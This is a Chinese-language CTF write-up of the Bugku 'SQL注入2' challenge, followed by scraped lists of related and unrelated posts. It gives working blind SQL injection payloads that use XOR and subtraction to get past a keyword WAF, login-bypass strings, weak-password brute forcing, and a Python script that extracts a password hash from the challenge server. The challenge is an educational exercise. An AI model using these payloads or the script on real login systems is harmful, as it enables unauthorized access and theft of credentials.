这道题只能说坑啊,特别是最后找密码参数那里,真的是磕磕碰碰啊。。。

但是做完题的整个过程还是学到了很多有用的技巧。

直接来吧:

看了下提示,真的是全都过滤了吗,点进去是一个登录页面

哎,又是一个post型注入,先试试随便输个账号密码看看回显

没有说密码错误,那么应该是先判断用户名再判断密码的,盲猜用户名为admin,试试

那么用户名确实是admin,先抓包,对用户名处进行操作,输入单引号没反应,然后跟上注释符#,发现被waf拦截!

看看提示的那些符号被过滤没,拿一个逗号试试,不行,再%试试,发现没被过滤,原来这全部过滤是骗人的,waf只拦截了一部分。

我的wfuzz暂时出了点问题,这里就先用我自己归纳的sql注入常用的关键字和字符字典,可以拿来用bp跑,看哪些字符没被过滤,还是挺有用的。

扫完之后发现,长度为367的字符(除了第一个)没有被waf拦截的,而370的是被waf拦截了的。注意,这里是waf过滤,不是普通的函数过滤,因此双写绕过没用,试了大小写绕过也没用,因此哪些关键字被过滤了的话,就不能用了,url全编码两次也不行。

一、方法一:

注释符也过滤完了,and和or也被过滤掉,因此这里用不了一般的闭合了,看着异或符^还没有被过滤,那么试试用异或逻辑来判断真假。

盲猜后端sql语句为“select * from user where uname='xxxxxxx';”

不为难我们的话一般都为单引号闭合,那么在uname上构造这样的payload:admin'^(length(database())>1)^'

如果我们中间的sql语句为假则返回真,为真则返回假,我们拿0和1来测试一下返回状态:

我们条件为0(假),返回结果为密码错误(说明用户名正确);条件为1(真),返回结果为用户名错误(即为假)。

那么直接爆数据库长度,先试着用bp来爆,发现不管返回是密码错误还是用户名错误,长度都是一样的,选择了先手爆数据库长度,然后再用脚本跑库名。

前面两个返回的都是用户名错误,大于三就密码错误了,说明数据库长度为3.

然后我们用substrl()函数构造爆数据库字母的语句,这里由于逗号被过滤了,那么我们用from...for...来代替

substr(database(),,)等价于substr(database() from  for )

哦豁,忘了刚刚空格和or都被过滤了,导致for也用不了了,那么只能用如下payload了

ascii(substr((database())from()))=

空格用()代替,至于只用from就能达到目的的原理等稍后解释。

用脚本爆出来为“ctf”,但是我发现,这。。。。没用啊啊啊!,后面根本爆不了表跟字段,or都被waf过滤了,跟or相关的关键字也都被间接过滤(比如说information),玩个蛇,不会直接爆破吧这玩意儿,反正都知道了用户名,说不定密码是个弱密码呢。

然后直接拿出我自己平常收集的一个弱密码字典来试试,因为手懒,就把平常自己能想到和用到的弱密码收集在了一起,特别小,方便bp跑。

看了一下367的响应包,是密码错误的,看了下320的响应包,没有数据,而且自从密码为admin123之后全是320的,回去试试第一个密码admin123,发现页面自己变成了http://123.206.87.240:8007/web2/admin/,直接是登录的状态了

我知道了,只要bp扫到正确的密码并且发包之后,原来的页面直接更换为已登录状态,那么换个浏览器去试试密码。

我先试了admin123下面的任意一个密码,不行,然后试admin123,发现确实能登录,直接ls,得到flag

方法二

看了其他大佬的wp,发现一个坑人的地方,直接看源码,

name对应的就是密码的参数名,直接用刚刚的盲注来爆这个参数passwd。

32以下的数字都是对的,大于32就错误了(注意这里用户名正确代表sql语句为假),因此passwd为32位,应该是个32位加密的md5值。

然后用我刚才写的脚本,修改一些变量值就可以爆出32位的md5值了,脚本最后贴出。

然后拿去在线cmd5里面去解

得到密码。然后登录得flag。

原理:

0x01 只用from的substr查询

我们在自己本机的mysql里面做实验,

发现只用from的话,就会把对应查询位置的字符以及后面的字符全部查询显示出来,相当于默认长度为后面所有。

发现只要用ascii码做比较,只会比较查询出来的第一个字母的ascii码,也就是说我们只用from还是能达到一个字母一个字母通过盲注比较出来并拼接。

0x02 sql语句的数学计算

sql语句进行计算的时候,会把字符串转化为整数来计算,如果字符串开头不是数字的话直接转化为0

我们先来看看查询一个表时where条件直接跟一个字段等于0

发现只要user字段内容的首位不为数字的全都查询出来了,因为user=0这个“=”也是一个数学计算符,因此会将user字段的所有内容转化为数字型,首字母不为数字的字符串全部转化为0,而从首字母开始如果是数字,将会转话为最前面对应的数字(例如‘123admin’将转为123),因此符合user等于0的就是那些首字母不为数字的用户了,全部爆出来。

如果等于1或其他数字就不会爆出来。

那么我们在user后面也可构造一个字符和数字的计算试,让其结果为0即可查询到所有。因此我们构造

'a'-()-''  条件为真
'a'-()-'' 条件为假

括号里面的是条件,可以是sql判断条件,是真返回数字1,是假返回数字0.

这里出现了减号,那么这个式子会被当成这样计算,有引号的字符串全部转化为0

'a'-()-''  计算结果为:--=-
'a'-()-'' 计算结果为:--=

因此当条件为假的时候结果为零,数据库将查询到全部数据。

同理上面的异或payload可以这样计算:

'a'^()^''  计算结果为:^^=
'a'^()^'' 计算结果为:^^=

同样是括号内的sql语句为真时返回1,为假时返回0,因此利用这两种状态来判断是真是假。

0x03 可当万能密码使用

如果后台查询为单引号情况下:

a'^(0)^'
或者
a'-(0)-'

当然,不一定能绕过密码有时候。

附上本题跑密码的脚本:

import requests

hed={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0'}
admin="admin'-(ascii(substr((passwd)from({})))={})-'"
#dat={'uname':admin,'passwd':'123'}
url="http://123.206.87.240:8007/web2/login.php"
ascil=[i for i in range(48,58)]
ascil2=[i for i in range(97,123)]
ascil3=ascil+ascil2
password=''
for i in range(1,33):
for j in ascil3:
dat={'uname':admin.format(i,j),'passwd':''}
respons=requests.post(url,headers=hed,data=dat,timeout=4)
html=respons.content.decode()
if 'username' in html:
password=password+chr(j)
print(password)
break
print('密码的md5为:',password)

总的来说,数学计算符号可以在sql中搭配逻辑判断灵活使用,这里还可以用其他计算符同样可以达到目的。

bugku-sql注入2(学习到有用的东西)的更多相关文章

  1. http://www.bugku.com:Bugku——SQL注入1(http://103.238.227.13:10087/)

    Bugku——SQL注入1(http://103.238.227.13:10087/) 过滤了几乎所有的关键字,尝试绕过无果之后发现,下面有个xss过滤代码.经搜索得该函数会去掉所有的html标签,所 ...

  2. SQL注入 基础学习

    SQL注入学习笔记 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有 ...

  3. Bugku SQL注入2的思考

    网络安全初学者,欢迎评论交流学习,若内容中有错误欢迎各位指正. 题目地址:http://123.206.87.240:8007/web2/ 题目提示:都过滤了绝望吗?,提示 !,!=,=,+,-,^, ...

  4. SQL注入的几种有用办法

    一.查询表中包括有多少列: 这里以DISCUZ举例说明,例如以下 select * FROM pre_forum_thread ORDER BY 80 返回,Unknown column '80' i ...

  5. xss和sql注入原理学习

    8.4 Web跨站脚本攻击 8.4.1  跨站脚本攻击的原理(1) 跨站脚本在英文中称为Cross-Site Scripting,缩写为CSS.但是,由于层叠样式表 (Cascading Style ...

  6. bugku | sql注入2

    http://123.206.87.240:8007/web2/ 全都tm过滤了绝望吗? 提示 !,!=,=,+,-,^,% uname=admin&passwd=1' and '1 : 一个 ...

  7. SQL 注入漏洞浅研究学习

    SQL注入漏洞:Web安全方面最高危的漏洞,SQL漏洞威胁着网站后台数据的安全问题. 网上常说“万能密码”,这个万能密码则就是利用了SQL注入漏洞: ' or 1=1 -- 上述的万能密码输入在用户登 ...

  8. SQL注入专题

    SQL注入专题--整理帖 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别, 所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被 ...

  9. (非原)SQL注入专题--整理帖 && like 语句拼sql 如何防止注入攻击。

    原地址:blog.csdn.net/lvjin110/article/details/28697695 like 语句拼sql 如何防止注入攻击?http://bbs.csdn.net/topics/ ...

随机推荐

  1. rsync命令 SCP命令

    快速查询scp:     scp  各种参数   源地址文件    目的地址文件   从本地复制到远程:        scp   [[user@]host1:]file1 ... [[user@]h ...

  2. 1213 - Fantasy of a Summation

    1213 - Fantasy of a Summation         If you think codes, eat codes then sometimes you may get stres ...

  3. lua 打印一个table的实现

    print("-------------Test-----------------") local tb = {} function printProperties(t, csp) ...

  4. 【GET TIPS】Chrome所见即所得的截图技巧

    精简的前言: 对,我就是想说下事情的来龙去脉.您要不想听,就把耳朵捂起来23333. 想截个新冠肺炎病毒,全国确诊人数今日增长的图,以确定非湖北地区不再明显增长. 但由于网页需要的内容分布在两页,需要 ...

  5. c#音乐播放器

    using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; usin ...

  6. 【STM32H7教程】第62章 STM32H7的MDMA,DMA2D和通用DMA性能比较

    完整教程下载地址:http://www.armbbs.cn/forum.php?mod=viewthread&tid=86980 第62章       STM32H7的MDMA,DMA2D和通 ...

  7. C#设计模式学习笔记:(11)享元模式

    本笔记摘抄自:https://www.cnblogs.com/PatrickLiu/p/7792973.html,记录一下学习过程以备后续查用. 一.引言 今天我们要讲结构型设计模式的第六个模式--享 ...

  8. 通配符与标签!important的背景展示,也是让我怀疑人生了

    是谁在耳边对我说!important提升权重优先级,只为这一句,我用了3600s研究通配符与标签!important的背景展示,也是让我怀疑人生了!选择器权值:标签选择器1,类选择器和伪类选择器:10 ...

  9. Binder基本使用

    Android开发中,Binder是一种跨进程通信方式,而使用AIDL可以实现Binder的工作. 如何使用它是了解它的第一步,本文章主要记录使用Binder的一些步骤.(代码思路参考<Andr ...

  10. Html介绍,标签的语法

    1.标签由英文"<"和">"括起来组成,如<html>就是一个标签2.html中的标签一般都是成对成对出现的,分为开始标签和结束标签.结 ...